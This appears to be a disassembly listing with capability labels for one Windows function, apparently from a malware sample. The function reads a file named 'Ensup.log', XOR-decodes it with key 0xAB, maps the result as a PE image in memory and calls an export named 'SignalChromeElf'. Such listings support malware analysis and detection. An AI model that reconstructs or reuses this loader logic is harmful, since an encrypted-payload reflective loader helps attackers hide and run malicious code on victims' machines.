Function at 0x402080
Capabilities:
Access pe header
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b3e1
mov eax, dword fs:[0]
push eax
sub esp, 0x178
mov eax, dword [0x437040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x105
lea eax, [ebp - 0x128]
mov dword [ebp - 0x12c], 0
xorps xmm0, xmm0
push 0
push eax
movq qword [ebp - 0x134], xmm0
call fcn.0040e000
add esp, 0xc
lea eax, [ebp - 0x128]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x128]
push 0x5c
push eax
call fcn.0040d730
xorps xmm0, xmm0
lea ecx, [ebp - 0x128]
add esp, 8
lea edx, [ecx + 1]
mov byte [eax], 0
movups xmmword [ebp - 0x16c], xmm0
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x158], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402127
sub ecx, edx
lea eax, [ebp - 0x128]
push ecx
push eax
lea ecx, [ebp - 0x16c]
call fcn.004029f0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x158]
mov eax, edx
mov ecx, dword [ebp - 0x15c]
sub eax, ecx
push 0xa
push str.Ensup.log
cmp eax, 0xa
jb 0x402196
cmp edx, 0xf
lea esi, [ebp - 0x16c]
lea eax, [ecx + 0xa]
cmova esi, dword [ebp - 0x16c]
add esi, ecx
mov dword [ebp - 0x15c], eax
push esi
call fcn.0040da80
add esp, 0xc
mov byte [esi + 0xa], 0
lea eax, [ebp - 0x16c]
jmp 0x4021b0
mov byte [ebp - 0x154], 0
lea ecx, [ebp - 0x16c]
push dword [ebp - 0x154]
push 0xa
call fcn.00402ad0
mov dword [ebp - 0x174], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x170], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x184], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x174], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x184]
cmp dword [ebp - 0x170], 0xf
push 0x433c48
cmova eax, dword [ebp - 0x184]
push eax
lea eax, [ebp - 0x144]
push eax
call fcn.004156a6
mov eax, dword [ebp - 0x144]
add esp, 0xc
test eax, eax
je 0x402295
push 2
push 0
push eax
call fcn.00411994
push dword [ebp - 0x144]
call fcn.00411368
push dword [ebp - 0x144]
mov esi, eax
call fcn.004155c5
add esp, 0x10
mov dword [ebp - 0x12c], 0
xorps xmm0, xmm0
lea ecx, [ebp - 0x134]
movq qword [ebp - 0x134], xmm0
push esi
call fcn.004028f0
push dword [ebp - 0x144]
push esi
push 1
push dword [ebp - 0x134]
call fcn.004158ee
push dword [ebp - 0x144]
call fcn.0041164f
add esp, 0x14
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x170]
cmp ecx, 0xf
jbe 0x4022d3
mov edx, dword [ebp - 0x184]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4022c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40286c
push ecx
push edx
call fcn.0040c208
add esp, 8
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x170], 0xf
mov byte [ebp - 0x184], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x158]
cmp ecx, 0xf
jbe 0x40232c
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402322
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40286c
push ecx
push edx
call fcn.0040c208
add esp, 8
mov eax, dword [ebp - 0x130]
xorps xmm0, xmm0
sub eax, dword [ebp - 0x134]
push ecx
push eax
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x158], 0xf
mov byte [ebp - 0x16c], 0
movq qword [ebp - 0x140], xmm0
mov dword [ebp - 0x138], 0
call fcn.004028f0
mov esi, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x134]
mov edx, dword [ebp - 0x140]
mov dword [ebp - 0x154], edx
cmp ecx, esi
je 0x4023ac
mov al, byte [ecx]
lea edx, [edx + 1]
xor al, 0xab
inc ecx
mov byte [edx - 1], al
cmp ecx, esi
jne 0x402391
mov edx, dword [ebp - 0x140]
mov dword [ebp - 0x154], edx
push 0
push str.kernel64
push 0
push edx
push 0
mov byte [ebp - 4], 5
lea eax, [ebp - 0x14c]
movaps xmm0, xmmword [str.SignalChromeElf]
push 0
push eax
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x14c], 0
call fcn.00403100
mov esi, dword [ebp - 0x14c]
test eax, eax
js 0x40240b
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40240b
call eax
test eax, eax
je 0x40240b
push str.thread_test_failed._n
call fcn.004010f0
add esp, 4
push esi
test esi, esi
je 0x4027a6
mov edi, dword [sym.imp.ntdll.dll_RtlImageNtHeader]
call edi
test eax, eax
jne 0x402428
push esi
call edi
jmp 0x4027ac
mov ecx, dword [esi + 0x3c]
movzx eax, word [ecx + esi + 6]
lea edi, [eax*4 + 0x1f]
add edi, eax
lea edi, [ecx + edi*8]
add edi, esi
cmp dword [edi], 0x11ffee00
jne 0x4027a5
cmp dword [edi + 4], 0xaabbcc
jne 0x4027a5
cmp dword [edi + 0x10], esi
jne 0x4027a5
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov dword [ebp - 0x144], eax
test edi, edi
je 0x4027ac
mov dl, byte [edi + 0xc]
test dl, 2
je 0x4027ac
movzx eax, word [edi + 0xe]
test al, 1
jne 0x402530
or dl, 4
mov byte [edi + 0xc], dl
push esi
test esi, esi
jne 0x4024a3
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
jmp 0x4027ac
mov edi, dword [sym.imp.ntdll.dll_RtlImageNtHeader]
call edi
test eax, eax
jne 0x4024b7
push esi
call edi
jmp 0x4027ac
mov ecx, dword [esi + 0x3c]
movzx eax, word [ecx + esi + 6]
lea eax, [eax + eax*4]
lea eax, [eax + 0x1f]
lea eax, [ecx + eax*8]
add eax, esi
mov dword [ebp - 0x14c], eax
cmp dword [eax], 0x11ffee00
jne 0x4024af
cmp dword [eax + 4], 0xaabbcc
jne 0x4024af
cmp dword [eax + 0x10], esi
jne 0x4024af
push esi
call edi
mov edi, dword [ebp - 0x14c]
test edi, edi
je 0x4027ac
mov al, byte [edi + 0xc]
and al, 6
cmp al, 2
je 0x4027ac
cmp dword [edi + 0x18], 0
je 0x402511
mov ecx, edi
call fcn.00407150
cmp dword [edi + 0x10], 0
je 0x4027ac
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
jmp 0x4027b2
mov ecx, dword [edi + 0x2c]
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x150], ecx
mov eax, dword [eax + 0x50]
cmp eax, dword [ecx + 0x20]
je 0x402554
mov ecx, 7
int 0x29
mov ecx, dword [ebp - 0x150]
movzx eax, word [edi + 0xe]
test al, 8
je 0x40259f
test dword [edi + 0x20], 0xfffffffe
je 0x40259f
mov eax, dword [edi + 0x20]
cmp eax, 0xffffffff
je 0x4027ac
mov edx, 0xffff
cmp word [ecx + 0x38], dx
jne 0x402588
mov dword [edi + 0x20], 0xffffffff
jmp 0x4027ac
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
test eax, eax
je 0x4027b2
dec eax
mov dword [edi + 0x20], eax
jmp 0x4027b2
or dl, 4
mov byte [edi + 0xc], dl
test dl, 1
je 0x4025bf
mov eax, dword [ebp - 0x144]
mov ecx, dword [edi + 0x10]
push 0
push 0
mov eax, dword [eax + 0x28]
push ecx
add eax, ecx
call eax
movzx eax, word [edi + 0xe]
test al, 1
je 0x40272f
test al, 2
je 0x4025e1
mov ecx, esi
call fcn.00405720
test eax, eax
jns 0x4025e1
mov ecx, 3
int 0x29
test byte [edi + 0xe], 4
mov edi, dword [ebp - 0x150]
je 0x402606
mov eax, dword [0x438ce4]
push edi
mov eax, dword [eax + 0x54]
mov eax, dword [eax + 0x10]
call eax
test eax, eax
jns 0x402606
mov ecx, 7
int 0x29
mov eax, dword fs:[0x18]
mov ecx, dword [0x438ce4]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x144], eax
movzx eax, byte [ecx + 0x14]
dec eax
cmp eax, 8
ja case.default.0x402639
movzx eax, byte [eax + 0x402884]
mov esi, dword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp dword [eax*4 + 0x402878]
mov ecx, edi
call fcn.00404540
push dword [edi + 0x50]
push 0
push dword [ebp - 0x144]
call esi
mov ecx, dword [0x438ce4]
mov edx, dword [ecx + 0x3c]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x148], eax
test eax, eax
je case.0x402639.2
lea eax, [edi + 0x68]
push eax
push dword [edx]
call dword [ebp - 0x148]
mov ecx, dword [0x438ce4]
movzx eax, word [ecx + 0x16]
cmp eax, 0x68
je 0x40268f
mov ecx, 0x80
cmp ax, cx
jne case.0x402639.1
mov esi, dword [edi + 0x50]
lea eax, [edi + 0x50]
mov dword [ebp - 0x148], eax
cmp eax, esi
je 0x4026ca
mov edi, eax
mov eax, dword [esi + 8]
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_LdrUnloadDll]
mov esi, dword [esi]
push dword [esi + 4]
push 0
push dword [ebp - 0x144]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp edi, esi
jne 0x4026a1
mov edi, dword [ebp - 0x150]
mov esi, dword [sym.imp.ntdll.dll_RtlFreeHeap]
push dword [edi + 0x30]
push 0
push dword [ebp - 0x144]
call esi
push dword [edi + 0x28]
push 0
push dword [ebp - 0x144]
call esi
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push edi
push 0
mov dword [eax], ecx
push dword [ebp - 0x144]
mov dword [ecx + 4], eax
mov eax, dword [edi + 0xc]
mov ecx, dword [edi + 8]
mov dword [eax], ecx
mov dword [ecx + 4], eax
mov eax, dword [edi + 0x14]
mov ecx, dword [edi + 0x10]
mov dword [eax], ecx
mov dword [ecx + 4], eax
mov eax, dword [edi + 0x40]
mov ecx, dword [edi + 0x3c]
mov dword [eax], ecx
mov dword [ecx + 4], eax
call esi
jmp 0x402729
mov ecx, 7
int 0x29
mov esi, dword [ebp - 0x14c]
push esi
test esi, esi
jne 0x402743
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ecx, 7
int 0x29
jmp 0x4027ac
mov edi, dword [sym.imp.ntdll.dll_RtlImageNtHeader]
call edi
test eax, eax
je 0x402799
mov ecx, dword [esi + 0x3c]
movzx eax, word [ecx + esi + 6]
lea eax, [eax + eax*4]
lea eax, [eax + 0x1f]
lea eax, [ecx + eax*8]
add eax, esi
mov dword [ebp - 0x148], eax
cmp dword [eax], 0x11ffee00
jne 0x402799
cmp dword [eax + 4], 0xaabbcc
jne 0x402799
cmp dword [eax + 0x10], esi
jne 0x402799
push esi
call edi
mov edi, dword [ebp - 0x148]
test edi, edi
je 0x40279c
mov al, byte [edi + 0xc]
and al, 6
cmp al, 2
je 0x40279c
jmp 0x402504
push esi
call edi
mov ecx, 7
int 0x29
jmp 0x4027ac
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push dword [ebp - 0x154]
call esi
mov ecx, dword [ebp - 0x140]
test ecx, ecx
je 0x402819
mov edx, dword [ebp - 0x138]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4027f1
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402871
push edx
push ecx
call fcn.0040c208
add esp, 8
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0
mov ecx, dword [ebp - 0x134]
test ecx, ecx
je 0x40284f
mov edx, dword [ebp - 0x12c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x402845
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402871
push edx
push ecx
call fcn.0040c208
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040c1c5
mov esp, ebp
pop ebp
ret
call fcn.00415c5e
call fcn.00415c5e
nop
shl byte [esi], 1
inc eax
add byte [esi + 0x40], bh
add byte [eax + 0x26], al
inc eax
add byte [eax], al
add dword [ecx], eax
add al, byte [edx]
add al, byte [edx]
add al, byte [edx]
int3